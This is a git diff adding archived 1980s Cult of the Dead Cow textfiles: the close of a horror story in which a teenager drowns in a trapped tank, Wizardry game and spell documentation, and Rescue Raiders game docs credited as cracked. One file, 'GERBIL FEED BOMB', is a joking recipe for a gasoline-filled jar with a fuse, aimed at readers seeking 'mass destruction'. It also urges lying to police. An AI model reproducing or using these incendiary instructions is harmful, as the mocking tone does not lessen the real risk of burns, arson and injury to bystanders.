attired in a black formal gown that sparkled with her +every movement. Her plunging neckline attracted Steve like a buzzard to a +corpse. The sinister rattling of her spiked chain bracelet went totally +undetected beneath the lustful thudding of his heart. + + Sensing her advantage, Hester ensnared Steve in her arms and led him +in a crude waltz around the room. At that moment, as if on cue, soft music +began to play. Steve was so bewitched by the sensual nature of this melody, he +lost track of the course their dance followed across the living room and +through an adjacent hallway. The next thing he knew, Hester had released her +embrace, retreated a step, and slipped her dress off her shoulders and onto the +floor. By now all thoughts of the prom had slipped from Steve's mind, as well. + + Steve blinked in amazement as he drank in every slinky curve of the +girl's naked form. At last, he realized that he was in a dimly lit bedroom, +and that she was motioning for him to lie back on the waterbed behind him. +When she saw that he was too numb to respond, she took his hand and ran it +across the satin coverlet over the bed. This simple act brought him +unspeakable pleasure and seemed to promise even more. + + With the recklessness only carnal lust can produce, Steve tumbled +backward and reached out his hand for his lover. He hit the coverlet with a +sploosh that made the gooseflesh thick on his buttocks. The next instant he +felt himself sinking out of sight in a benumbing tank of dank liquid. He was +completely out of breath by the time he touched bottom, shoved off with one +foot, and propelled himself to the surface. When he broke water, he was +greeted by the first real glimpse of Hester's eyes. + + A scream rattled from Steve's throat, and he sank from sight a second +time. With the freezing water deadening his limbs, it felt like an eternity +before he again hit bottom. When his foot finally did touch, a pair of jaws +clamped shut around his ankle. Sharp teeth tore into his flesh, and clouds of +blood bubbled upward past his face. In an animal frenzy, Steve kicked and +thrashed until the lack of oxygen choked the fight out of him. Only as his +tuxedo-clad form sagged to the bottom of the tank, did he see the bear trap +that secured him, as well as several other unsprung traps on the bottom of the +tank. + + Meanwhile, two crimson pupils peered expectantly downward into the dank +pool. Just as the water quit bubbling, the faint buzz of a doorbell echoed +from the hall. Hester glanced once more into the water, then pulled the satin +coverlet in place over the bedframe. As she left the room to answer the door, +her hellish eyes were cast coyly downward. Her formal black gown sparkled with +every delicious movement of her hips. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1989 cDc communications by Krass Katt. 09/30/89-#115 +\_______/|All Rights Pissed Away. + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/bert.the.poem b/textfiles.com/groups/CDC/bert.the.poem new file mode 100644 index 0000000000000000000000000000000000000000..7ca25a412d1d1d972f7f59becc74f1994e7c0698 GIT binary patch literal 6528 zcmcIoYjfMW5$$LEijDfg&WvSQekHn-Cga%7wVF6_ZD-uursIJ~NW>LL@B*Y2W%T2F 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z;rVLujRLLQ_aFhRCD-XJGLNsCyEol!=y%ZB-P+!Qyw_{8_5rhB;K?fqcv9nZ}luf6X6=D}XKb8xu7$5Z0hHxMTefBk=4khfvXIpw)S zah{i>tIToC;!n)6RrKfVfY$RDEO@iEd2rbIz6*OlHYnMA;O6?;7p^PcbM*i?WWirv GeEkQ=l8kZy literal 0 HcmV?d00001 diff --git a/textfiles.com/groups/CDC/cDc-0001.txt b/textfiles.com/groups/CDC/cDc-0001.txt new file mode 100644 index 00000000..2a7a6c02 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0001.txt @@ -0,0 +1,68 @@ + +_______________________________________________________________________________ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + The infamous... GERBIL FEED BOMB + Striking fear into the hearts of model citizens everywhere... + + + by Swamp Rat + + >>> A CULT Publication......1985 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + Grudge against society? Seeking mass destruction & bloodshed? Look no +further... Follow these simple directions for nihilism absolute... + + +1. Get some Gerbil Feed, or some other type of small rodent food, available at + most any pet store. + +2. Mash up the food pellets into a fine powder (about the consistancy of + beach sand). The best way to do this is to put the pellets in a bag, and + then beat the hell out of those bitches (pretend like they're Nancy Reagan + for more fun!) with a hammer. If you live near a major highway, you can + just scatter them around, and then come by later with a shovel. + +3. Put this powder into a jar (Jiff Peanut Butter jars work best, but Peter + Pan will do just fine). Get some model glue, the kind in tubes, and squirt + out a bunch of it into your hand. Spread it out evenly over all your + fingers, and then stick your hands into the jar. Move your hands around + a lot in the jar so that the glue is well mixed with the powder. + Go into a spasm, this should shake all the glue off your hands. + +4. Fill the rest of the jar up with gasoline(available at most any gas station.) +5. Put a long fuse into it. If you're brave (and a bit stupid), you can just + drop a match into it. + +6. Light the fuse if you put one in. If you dropped a match into it, then + go to the nearest phone, dial "911" and tell the nice people that you have + a large number of glass shards embedded in your lower body. An ambulance + should be there soon. + +7. If you do not have glass shards in your body yet, just run VERY, VERY + fast, scream "incoming!" at the top of your lungs, and then "hit the dirt!" + This should attract all the neighbor's attention, so they too will get to + witness this spectacular event. + +8. There! You've done it! When the police car comes to your house, tell + the nice police officers that a K.G.B. agent leaped out of a tree, and + threw a hand grenade at you. Of course they will be kind and understanding + being their job to "protect and serve." The police are your friends! + +9. Repeat for everything you want to slice, dice, chop, or mutilate. + Or just plain destroy, it doesn't really matter. + + Be sure to have a spare change of clothes handy... + +------------------------------------------------------------------------------- + (c)1985 cDc communications by Swamp Rat 0/0/85-01 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0002.txt b/textfiles.com/groups/CDC/cDc-0002.txt new file mode 100644 index 00000000..e4b2054b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0002.txt @@ -0,0 +1,289 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + WIZARDRY DOCS + (yeah, it's old & so is this file...but it's a good game so forget you) + by Swamp Ratte' + + >>> A CULT Publication......1985 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +STARTING THE GAME (always a good place to begin, don't you think?) +Boot the disk (wee...) +Watch the cute little dragon come out of the soup bowl +Press RETURN when you're through being entertained + +You have three options now: S)tart the game + U)tility options + and last but not least, T)itle Page + Press whatever it is you want to do. +If you want to start the game (and who doesn't?) press S and it will say +PUT MASTER IN DRIVE 1,PRESS + What it wants you to do is to flip the disk over. +After you've had your disk flipping exercises, you can press RETURN again. +If you have any intelligence at all, you should have been able to get through +those steps with no problems. When it's done playing with the drive, it +should say that you're in the Castle. "Congratulations, you have just +completed the first step toward hours, days, months, even a lifetime of +challenge and adventure!" I swear, that's what the manual says! Sick, isn't it? + +Okay, now we're going back to the utility options you saw when you booted +the disk. +SPECIAL UTILITY OPTIONS +R)ecover accidentally lost characters +T)ransfer characters to a new scenario. +B)ackup characters +C)hange character names +U)pgrade to current version +M)ake another scenario disk +L)eave Utility Options +--------------------------------------- +Recovering lost characers:If something awful happens while playing a game that +causes the Apple to crash, such as a power failure (or if you turn it off +when your characters are dying left and right), it is possible that the +current party of adventurers might be lost in the maze. Actually, it's +more than possible, the party WILL be lost in the maze, guaranteed. +If you choose this option, it will ask for your scenario disk (backside) +and then it digs all the characters up out of the dungeon. + +Transfering characters to other scenarios:After you have finished Proving +Grounds, you will want to go play Knight of Diamonds next. Don't hold your +breath though, because it's going to take you a LONG time to finish this one. +Follow the directions, no problems, right? + +Backing up your characters:Lets you make a copy of any character you want, +in case something happens to the orginal (like death, for instance). +It will ask to backup T)o or F)rom the backup disk. The backup disk has to +be preformatted with DOS 3.3 before you can backup anything. If you can't +figure out what backing up to and from means, then you shouldn't even have +an Apple or IBM! + +Change character names:In case you screw up when you first named your +character, you can always get a name change. + +Upgrade to current version:Upgrades old versions to the current version +(whatever ver. you have) You gotta have 2 drives for this option. + +Make another scenario disk:Creats multiple blank scenario disks, each of +which can hold 20 characters. You also gotta have 2 drives for this. + +Leave utiltiy options:Donened +------------------------------------------------------------------------------- +TRAINING GROUNDS + Once you have started the game, you will be placed in the Castle, but you +really should make some characters before you go off and get them killed, +right? I mean, it's kinda hard to kill them off if they don't even exist. +(my advanced logic skills overwhelm you, don't they?) +One of the options in the Castle is the E)dge of town. Press E, and then +you can press T for Training Grounds. +Ok, the manual jumps around here a bit, so I might as well too. + +CHARACTER CLASSES DEFINED + There are 6 basic characteristics a character (get the connection?) has: +STRENGTH-affects how much damage you do when you slap a monster upside the +head. +I.Q. AND PIETY-determines ability for spell casting. I.Q. is for Mages, +and Piety is for Priests. +VITALITY-determines how many hit points you got. If you don't know what +hit points are, then go play D&D. +AGILITY-determines who hits what first, and a good agility helps your +connecting abilities. (connecting a sword with a dragons face, for example) +LUCK-helps in mysterious ways (bull, it actually determines if your thief +picks a lock or screws up and gets a trap in his face) + +There are eight character classes. 4 basic, and 4 advanced. +FIGHTER-a basic man at arms, need a min. strength of 11. + They can use any armor and weapons, and can be of any alignment +MAGE-sorcerers. Need a min. intelligence of 11, have lousy hit points, and + can only use a dagger or a staff as a weapon. However, they get some + pretty decent offensive spells when they gain some levels. +PRIESTS-just like the ones at church(you know, that funny building with the + pointy thing on top.) Need a min. piety of 11, have hit points almost as +good as fighters, and may use any armor. Weapons are limited to special + priest weapons like staffs and cudgels, but maces work the best + Priests have the ability to "dispell", which means they can turn a mutated + skeleton that's atacking you back into a pile of bones. They have + mostly defensive spells (magaical assistance for armor, things like that). +THIEVES-Need min. agility of 11 (and luck don't hurt, either). They + have slightly better hit points than a Mage, but can only use daggers + or short swords as weapons, leather armor, and a small shield. The only + use for thieves is to open treasure chests with traps on them. + Thieves cannot be of good alignment. +--Advanced character classes-- +BISHOPS-combination of Priest and Mage, have hit points intermediate to both, + can wear leather armor and use Priest weapons. They cast both types of spells , Priest and Mage. The most useful thing these characters do is to Identify + unknown items that you find. If you're lucky, you'll find a bunch of + unknown items. +SAMURAI-decent fighters, but not as good as real Fighters. They use any + Figher weapons and armor, but learn Mage spells once they reach the 4th level. +LORDS-combination of Fighter and Priest, learn Priest spells once they + reach the 4th level. +NINJA-radical dudes, can use any armor or weapons, but at high levels they + work better with their bare hands. Somtimes kill someone with one hit. + They also have to be evil. + +CHARACTER STATISTICS +ALIGNMENT-describes your character's outlook toward the world, and his general + ethical status. GOOD characters cannot be in the same party with EVIl + characters, but NEUTRAL peoples can go party with either one. +RACE-5 of them, each has advantages and disadvantages + Human-not good at anything in particular + Elf-best at being Mages and Bishops + Dwarf-make good Fighters and Priests + Gnome-good for Priests and Thieves + Hobbits-good for Thieves +LEVEL OF ABILITY AND EXPERIENCE POINTS + After you kill some monsters, your charactes will get experience points. + When you have a lot of experience points, you can gain levels. + At higher levels, your ability points will increase, and magic guys will + get better spells. +AGE-years passed since date of birth +GOLD-precious metal +EQUIPMENT-the stuff you got +ARMOR CLASS-how well protected (or not protected) you are. Bare skin is 10, + everything lower than that is better. +HIT POINTS-like I said before, go play D&D if you don't know what these are. +SPELL BOOKS-small set of books each player has where he writes his spells down. +SPELLS LEFT-tells how many spells of each level of power and class you can + use. To gain these back, you have to sleep in the inn. +STATUS-either Ok,asleep,afraid,paralyzed,poisoned,stoned, dead, ashes, or + lost forever. It is best to be Ok. +------------------------------------------------------------------------------- +HOW TO CREATE A CHARACTER +Go to the Training Grounds, and type in the name of a character you want to +make. It will look for the character, and if it doesn't exist yet, it will +ask you if you want to make one with that name. Of course you do! So type Y. +You don't want a password, because you'll probably forget it. Just press +RETURN twice. Then decide your alignment. +You will be shown a row of STRENGTH, etc. These are the base numbers for your +abilities. Press + to add a point, - to subtract. Notice that the POINTS +display above the abilities changes depending on if you +ed or -ed. +Press RETURN to skip through the abilities to the one you want. When +all your points are used up, press ESC. Then you choose what class you want +this character to be. If you like this guy, press Y to save it. +OTHER CHARACTER STUFF +After you have some characters made up, type one of their names at the main +Training Grounds screen. Then you have five choices: +D)elete-zap the character +R)eroll-reroll your abilities +C)hange class-change from a basic to an advanced character class. + +Minimum required abilities for advanced classes: +Character Strength Vitality IQ Piety Agility Luck +Lord 15 15 12 12 14 15 +Samurai 15 14 11 10 10 -- +Ninja 17 or 18 in all abilities +Bishop -- -- 12 12 -- -- + +S)et new password-lets you change a characters password +I)nspecting characters-lets you see all of your character's statistics. +Read spell books under above to see the list of spells you know. + OPTIONS AVAILABLE WHILE INSPECTING CHARACTER +T)rading-lets you trade gold or equipment to someone else in your party +E)quipping-decide what armor and weapons you want to use (you gotta use this) +Casting S)pells-lets you cast non-combat spells +U)se an item-use magical equipment to cast spells +I)dentifying-only for Bishops, lets you find out exactly what something is +L)eave-returns to wherever you were before you inspected. +*Roster-shows list of characters on disk + +------------------------------------------------------------------------------- +THE CASTLE +The castle is the starting and ending point of all expeditions. In the castle, +you can rest, create parties, get help from the gods, buy and sell equipment, +or go to any other part of the game. +There are five main options: +Gigamesh's Tavern-assemble a party of up to 6 characters, you can also inspect + any party member here +Adventurer's Inn-place where you can rest to gain back used spell points, or + heal damage for alot of gold. Overnight resting does nothing but gain your + spell points. To get hit points back, you will have to pay. The more + expensive rooms heal faster than the cheap rooms. + The Inn is also the place where you find out if you have gained a level. +Temple of Cant-Whenever a party brings back characters that are less than OK, + they are removed from the party and taken to the Temple of Radiant Cant. + Type in who you wanna help, and who's gonna pay. +Boltac's Trading Post-buy, sell, have identified, and un-curse equipment + If the item says UNUSABLE beside it, that means it isn't possible for your + character to use it. +The Edge of Town-From here you can go to the Training Grounds, leave the game, + or enter the dungeon. +------------------------------------------------------------------------------- +ADVENTURING + +CAMP-as soon as you enter the dungeon from the Edge of Town, you will be in + camp. Being in camp means that you have stopped somewhere and can do the + little details (like healing spells, trading, etc.). You cannot be attacked + while in camp. You will need to Equip the party if you haven't done so + individually in Gilgamesh's Tavern. Reorder lets you select the order in + which your characters will go through the dungeon. Only the first 3 +characters can make physical attacks and take physical attacks, so put some + good fighters up front. Keep the Mages and Thieves in the back. + +MOTION COMMANDS-for when you are actually in the dungeon, not in camp. + +F-moves you forward +L-turns you left +R-turns you right +K-kick through a door in front of you +S-updates the status area +C-enter camp +T-change combat message display time. 1 for instant, 5000 for 5 seconds +Q-toggle quickplotting of the maze (for LOMILWA spell) +I-lets you inspect the current area for dead bodies +Instead of the F, L, and R, you can use the W-A-D cluster for movement +------------------------------------------------------------------------------- +COMBAT + If you encounter monsters (and you will) it will show you a picture and the +name of the monster(s). For each GROUP of monsters (4 possible groups at once) +you will be told the number, what they appear to be, and in parentheses, show +how many are able to attack (if they're asleep or paralyzed, they can't attack) +COMBAT OPTIONS +F-fight a monster. If there is more than one group, you'll have to specify + which group you want to fight +P-use your weapon for defense +S-cast a spell +U-use an item +R-run like screaming testicle-less wonders +D-dispell undead things + +OPENING TREASURE CHESTS + Once you've killed some monsters and found a chest, the obvious thing to do +is open it. Here are the options: +O-open the chest. If it's trapped (most are) then the character who opens + the chest gets the trap, too. +I-inspect the chest (a wise choice). Let a Thief do this, and you can + probably tell what trap it has +C-calfo spell. use a Priest spell that identifies the trap +D-disarm the trap. You have to know what trap to disarm for first, so be + sure to inspect it. +L-leave the chest. Let the chest you risked your life for just sit there. + +After a chest has been openened, the stuff is distributed. Gold is evenly + divided, and items are distributed randomly. +After combat and the chest has been opened, it's a good idea to camp and + cast healing spells. + +Hints: +When starting out have 2 fighters, a priest, a thief, and 2 mages. + As soon as possible, change one of the mages to a Bishop. +Be sure to map! +with a Bishop, identify #9. Keep doing this until it says SUCCESS!. + Then go up to the castle, into the Inn, and rest. You will have tons of + experience points. + +NOTICE: To actually play Wizardry, you're also gonna need the file + WIZARDY.SPELLS by yours truly. + +=============================================================================== + (c)1985 cDc publications by SWAMP RATTE' + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0003.txt b/textfiles.com/groups/CDC/cDc-0003.txt new file mode 100644 index 00000000..ae576824 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0003.txt @@ -0,0 +1,361 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + WIZARDRY SPELLS + + by Swamp Ratte' + + >>> A CULT Publication......1985 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +PRIEST SPELLS + +LEVEL 1 + +Spell Name : KALKI +Translation: blessings +Spell Type : COMBAT +Area of Ef.: THE PARTY + Kalki reduces the armor class of all party members by one + +Spell Name : DIOS +Translation: heal +Spell Type : ANY TIME +Area of Ef.: 1 person + Dios restores from one to eight hit points of damage from a party member + +Spell Name : BADIOS +Translation: harm +Spell Type : COMBAT +Area of Ef.: 1 monster + Badios causes one to eight hit points of damage to a monster + +Spell Name : MILWA +Translation: light +Spell Type : ANY TIME +Area of Ef.: entire party + Milwa causes a softly glowing light to follow the party, revealing secret doors +Spell Name : PORFIC +Translation: shield +Spell Type : COMBAT +Area of Ef.: caster + Porfic lowers the armor class of the caster a little + +LEVEL 2 + +Spell Name : MATU +Translation: blessing & zeal +Spell Type : COMBAT +Area of Ef.: entire party + Matu lowers armor class of all party members by two + +Spell Name : CALFO +Translation: X-ray vision +Spell Type : LOOTING +Area of Ef.: caster + Calfo allows the caster to decide what the trap on a chest is 95% of the time + +Spell Name : MANIFO +Translation: statue +Spell Type : COMBAT +Area of Ef.: 1 group of monsters + Manifo causes some of the monsters to become paralyzed temporarily + +Spell Name : MONTINO +Translation: still air +Spell Type : COMBAT +Area of Ef.: 1 group of monsters + Montino causes the air around a group of monsters to stop transmitting sounds, + and therefore makes it impossible for them to cast spells + +LEVEL 3 + +Spell Name : LOMILWA +Translation: more light +Spell Type : ANY TIME +Area of Ef.: entire party + Lomilwa is a more powerful Milwa spell that last for the entire expedition + +Spell Name : DIALKO +Translation: softness/supple (what's a supple?) +Spell Type : ANY TIME +Area of Ef.: 1 person + Dialko cures paralysis, and cures the effects of Manifo and Katino + +Spell Name : LATUMAPIC +Translation: identification +Spell Type : COMBAT +Area of Ef.: entire party + Latumapic tells you exactly what the monsters really are + +Spell Name : BAMATU +Translation: prayer +Spell Type : COMBAT +Area of Ef.: entire party + Bamatu lowers armor class by four + +LEVEL 4 + +Spell Name : DIAL +Translation: heal (more) +Spell Type : any time +Area of Ef.: 1 person + Dial cures 2 to 16 points of damage + +Spell Name : BADIAL +Translation: hurt (more) +Spell Type : COMBAT +Area of Ef.: 1 monster + Badial causes 2 to 16 points of damage + +Spell Name : LATUMOFIS +Translation: cure poison +Spell Type : ANY TIME +Area of Ef.: 1 person + Latumofis cures poisoning + +Spell Name : MAPORFIC +Translation: shield (big) +Spell Type : ANY TIME +Area of Ef.: entire party + Maporfic lowers casters armor class by 1, and lasts for entire expedition + +LEVEL 5 + +Spell Name : DIALMA +Translation: heal (greatly) +Spell Type : ANY TIME +Area of Ef.: 1 person + Dialma restores 3 to 24 hit points + +Spell Name : BADIALMA +Translation: hurt (greatly) +Spell Type : COMBAT +Area of Ef.: 1 monster + Badialma causes 3 to 24 hit points of damage + +Spell Name : LITOKAN +Translation: flame tower +Spell Type : COMBAT +Area of Ef.: 1 group + Litokan causes a pillar of flame to strike a group of monsters, doing 3 to 24 + hit points of damgae to each + +Spell Name : KANDI +Translation: location +Spell Type : CAMP +Area of Ef.: 1 person + Kandi allows the user to locate characters in the maze. It tells on which + level, and in which rough area the dead one can be found. + +Spell name : DI +Translation: life +Spell Type : CAMP +Area of Ef.: 1 person + Di causes a dead person to be resurrected, but the character has only 1 hit + point, and it doesn't always work + +Spell Name : BADI +Translation: death +Spell Type : COMBAT +Area of Ef.: 1 monster +Badi gives the monster a coronary attack, which may or may not cause death + +LEVEL 6 + +Spell Name : LORTO +Translation: blades +Spell Type : COMBAT +Area of Ef.: 1 group + Lorto causes sharp blades to slice through a group, causing 6 to 36 HP damage + +Spell Name : MADI +Translation: healing +Spell Type : ANY TIME +Area of Ef.: 1 person + Madi causes all hit points to be restored and cures any condition but death + +Spell Name : MABADI +Translation: healing +Spell Type : COMBAT +Area of Ef.: 1 monster + Mabadi causes all but 1 to 8 hit points to be removed from a target + +Spell Name : LOKTOFEIT +Translation: recall +Spell Type : COMBAT +Area of Ef.: entire party + Loktofeit causes all party members to be transported back to the castle, minus + all of their equipment and most of their gold + +LEVEL 7 + +Spell Name : MALIKTO +Translation: the word of death +Spell Type : COMBAT +Area of Ef.: all monsters + Malikto causes 12 to 72 hit points damage to all monsters + +Spell Name : KADORTO +Translation: resurrection +Spell Type : ANY TIME +Area of Ef.: 1 person + Kadorto restores the dead to life, and restores all hit points + +------------------------------------------------------------------------------- +MAGE SPELLS + +LEVEL 1 + +Spell Name : HALITO +Translation: little fire +Spell Type : COMBAT +Area of Ef.: 1 monster + Halito causes a flame ball the size of a baseball to hit a monster for 1-8 HP + +Spell Name : MOGREF +Translation: body iron +Spell Type : COMBAT +Area of Ef.: caster + Mogref reduces the casters armor class by 2 temporarily + +Spell Name : KATINO +Translation: bad air +Spell Type : COMBAT +Area of Ef.: 1 group + Katino causes most of the monsters in a group to fall asleep + +Spell Name : DUMAPIC +Translation: clarity (what's a clarity?) +Spell Type : CAMP +Area of Ef.: not applicable + Dumapic informs you of the party's exact position from the stairs to the castle + +LEVEL 2 + +Spell Name : DILTO +Translation: darkness +Spell Type : COMBAT +Area of Ef.: 1 monster group + Dilto causes one group of monsters to be enveloped in darkness, which reduces + their ability to defend against your attacks + +Spell Name : SOPIC +Translation: glass +Spell Type : COMBAT +Area of Ef.: caster + Sopic causes the caster to become transparent, and reduces armor class by 4 + +LEVEL 3 + +Spell Name : MAHALITO +Translation: big fire +Spell Type : COMBAT +Area of Ef.: 1 monster group + Mahalito causes fiery explosion in a monster group, doing 4-24 hit points dam. + +Spell Name : MOLITO +Translation: spark storm +Spell Type: COMBAT +Area of Ef.: 1 monster group + Molito causes sparks to damage half the monsters in a group for 3-18 hp dam. + +LEVEL 4 + +Spell Name : MORLIS +Translation: fear +Spell Type : COMBAT +Area of Ef.: 1 monster group + Morlis causes a group of monsters to fear party, twice as powerful as Dilto + +Spell Name : DALTO +Translation: blizzard blast +Spell Type : COMBAT +Area of Ef.: 1 monster group + Dalto does 6-36 hit points damage + +Spell Name : LAHALITO +Translation: flame storm +Spell Type : COMBAT +Area of Ef.: 1 monster group + Lahalito does 6-36 hit points damage + +LEVEL 5 + +Spell Name : MAMORLIS +Translation: terror +Spell Type : COMBAT +Area of Ef.: all monsters + Mamorlis causes all monsters to fear the party + +Spell Name : MAKANITO +Translation: deadly air +Spell Type : COMBAT +Area of Ef.: all monsters + Makanito kills any monsters of less than 8th level (about 35-40 hit points) + +Spell Name : MADALTO +Translation: frost +Spell Type : COMBAT +Area of Ef.: 1 monster group + Madalto causes 8-64 hit points damage + +LEVEL 6 + +Spell Name : LAKANITO +Translation: suffocation +Spell Type : COMBAT +Area of Ef.: 1 monster group + Lakanito kill all monsters affected by this spell, some will not be affected + +Spell Name : ZILWAN +Translation: dispell +Spell Type : COMBAT +Area of Ef.: 1 monster + Zilwan will destroy any one undead monster + +Spell Name : MASOPIC +Translation: big glass +Spell Type : COMBAT +Area of Ef.: entire party + Masopic reduces armor class of entire party by 4 + +Spell Name : HAMAN +Translation: change +Spell Type : COMBAT +Area of Ef.: variable + Haman has random effects, and casting it reduces your character's level by 1 + +LEVEL 7 + +Spell Name : MALOR +Translation: apport +Spell Type : COMBAT and CAMP +Area of Ef.: entire party + Malor teleports the party randomly when used in melee, but if cast in camp + in camp, you can decide exactly where you want to go + +Spell Name : MAHAMAN +Translation: great change +Spell Type : COMBAT +Area of Ef.: entire party + Mahaman does something random, stronger than Haman + +Spell Name : TILTOWAIT +Translation: Nuke 'em 'till they glow +Spell Type : COMBAT +Area of Ef.: all monsters + Causes 10-100 hit points of damage to all monsters + +=============================================================================== + (c)1985 cDc publications by SWAMP RATTE' + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0004.txt b/textfiles.com/groups/CDC/cDc-0004.txt new file mode 100644 index 00000000..19dd1ddb --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0004.txt @@ -0,0 +1,306 @@ + +*-----------------------------------------------------------------------------* +* RESCUE RAIDERS DOCS * +* by * +* Swamp Rat * +* * +* An original Marauding C.A.M.E.L. BBS file --806<>794<>4362-- * +* Thanks to The Gremlin for cracking it. * +*-----------------------------------------------------------------------------* + +OK, most of this is straight from the book, so it will sound strange. + +OVERVIEW + Now suppose that a group of people exists today which has the means to +alter the outcome of D-Day in such a way that the group will benefit. +Using time travel, members of the group will take soldiers and modern weapons +to the Europe of 1944 to influence the Battle of Normandy so that the group +will gain enormous political and economic power forty years later. Their +desire is to change the past so that they can rule the present. The danger to +you -to everyone- would be enormous. If these people should succeed in their +plans, you would be under absolute domination, at the very best. At worst, +you would never have been born at all. (really nice guys, huh?) +This is the premise of Rescue Raiders. The group of terrorists does exist; +they have a time machine; they are determined to use their technology to +change the course of World War II so that they can control...YOU. (ooh! drama!) + +ABOUT THE GAME + Rescue Raiders is a strategic war simulation game (and a damn good arcade +game, too). You command aircraft and ground forces to advance toward the enemy +and destroy him. Unlike other strategic war games, Rescue Raiders lets you see +and control what happens directly. You will actually see helicopters, ground +vehicles, soldiers, and missiles. You do not see a set of odd symbols on a +map. + To win Rescue Raiders you must use both tactics and strategy. Tactics is +the "shoot-'em-up" part of the game. To succeed tactically, you must use your +weapons, men and equipment to win fights against the enemy. + Rescue Raiders is divided into eight battles. If you win a battle, you +will automatically proceed to the next battle. Each new battle is more +difficult than the last. Your loss of any of the battles will end the game in +total victory for the enemy (not good). + +GAME ELEMENTS + Rescue Raiders contains a number of stationary and mobile elements. +Stationary elements include time machines (headquarters) for you and the enemy, +helicopter pads and bunkers. Mobile elements are helicopters, tanks, soldiers, +engineers, anti-aircraft-missile carriers, and demolition team vehicles. +STATIONARY ELEMENTS +--* TIME MACHINES The time machine located at each end of the field serve as +headquarters for both sides. A battle is won or lost when you or the enemy +succeed in moving a Demolition Team Vehicle to the opponent's time machine. +Only the Demolition Team Vehicle will destroy time machines, which are +impervious to all other machines. +--* HELICOPTER PADS Helicopter pads serve as the starting point for new +helicopters. They also serve as refueling, re-arming and repair stations for +helicopters during combat. A helicopter is automatically (but not instantly!) +refueled, repaired and loaded with a maximum weapon supply whenever it lands +on a helicopter pad. A helicopter pad is located by each time machine +--* BUNKERS There are different types of bunkers in Rescue Raiders. Some may +be destroyed if hit by weapon fire, while other types can only be destroyed +by a very high number of hits, or cannot be destroyed at all. A bunker can be +controlled only by placing soldiers in it. Bunkers are found at different +locations from one end of the field to the other. +--* BARRAGE BALLOONS Barrage ballons are "semi-stationary" elements which are +moored to some of the bunkers. Helicopters will be destroyed if they strike +an opponent's balloon or its mooring line. Helicopters can fly safely past any +friendly barrage balloon or its mooring line. +MOBILE ELEMENTS +--* HELICOPTERS Helicopters serve as primary observation platforms, as fighting +vehicles, and as troop transport vehicles. Helicopters are the most heavily +armed and destructive game elements, and are also the fastest moving of the +game's mobile elements. You will have four helicopters at the beginning of +play. If you run out of helicopters, you will loose the game. The enemy has +an unlimited supply of helicopters (all's fair in love and war). Helicopters +are armed with machine guns, high explosive and "smart" missiles at the +beginning of a game. Helicopters are lightly-constructed and can be damaged +or destroyed by any opposing fire. +--* TANKS Tanks are heavily-armoured ground vehicles equipped with cannon and +machine guns at the beginning of play. Tank weapons are effective against any +other mobile game elements, including other tanks. Tanks resist enemy fire +better than any other mobile element in the game +--* SOLDIERS & ENGINEERS Soldiers or men are airborne infantry. They are +equipped with parachutes, and they wear body armor which provides some +protection against light weapon fire. They are equipped with automatic +weapons. +Engineers are military construction specialists. They can repair or replace +certain installations which may be damaged or destroyed in combat. Engineers +fight as normal soldiers first. Engineers become soldiers if they are +transported by helicopter. +--* ANTI-AIRCRAFT MISSILE CARRIERS & DEMOLITION TEAM VEHICLES Anti-Aircraft +Missile Carriers are jeep-like vehicles. Each is equipped with a single smart +missile. This missile is automatically launched when an enemy helicopter is in +range and will seek and "home in" on the helicopter. Missile carriers will +only attack helicopters. The carriers have no defensive capabilities, and can +be destroyed by fire from any other element. A missile carrier is a "one shot" +item: it self-destructs after launching its missile. +Demolition Team Vehicles look like vans or ambulances. They contain electronic +devices which allow them to neutralize and destroy the time machines. DTVs +have no other offensive or defensive capabilities and are vulnerable to fire +from any other game element. +WEAPONS +--* MISSILES "Smart" missiles are carried by helicopters and by anti-aircraft +missile carriers. They are the fastest, long-range and most powerful weapons +possessed by either side. A smart missile will seek and "home-in" on the +target it is launched against. Smart missiles launched by the Anti-Aircraft +Missile Carriers will attack only opposing helicopters. A smart missile can +be launched from a helicopter against any opposing element. +--* BOMBS High-explosive bombs are carried by helicopters only. An element +struck by a bomb will be damaged or destroyed. High-explosive bombs must score +a direct hit to be effective +--* MACHINE GUNS Machine guns are carried by helicopters, tanks, and soldiers. +They have a high rate of fire, but they have the least power and range of any +weapon in the game. Tanks and soldiers have an unlimited supply of machine +gun ammunition. +--* ANTI-AIRCRAFT & TANK GUNS Anti-aircraft guns are ground-based rapid-fire +cannons. They are effective against helicopters and in some cases may be +turned against tanks. Anti-aircraft (or anti-tank) guns fire automatically +whenever the opposing element is in range. +Some bunkers are equipped with machine guns which can be used by the side +occupying them. +**==IMPORTANT NOTICE!!!==** Technological development is very rapid during +wartime. Some weapons may change as you progress from battle to battle. +>>>>>-----PRESS "S" FROM DEMO MODE TO START THE GAME!!!!!-----<<<<< +HOW TO PLAY + The play area in Rescue Raiders is a long battlefield. Your headquarters, +consisting of a time machine and a helicopter launch pad, are located at the +right end of this battlefield, and the enemy's headquarters are located at the +left end. +--* THE GAME SCREEN The game screen is divided into two main areas from which +you can obtain information. The larger area, consisting of most of the screen +from the bottom up, is a television-like display. This display is roughly +centered on your helicopter, and shows objects, equipment and men in the 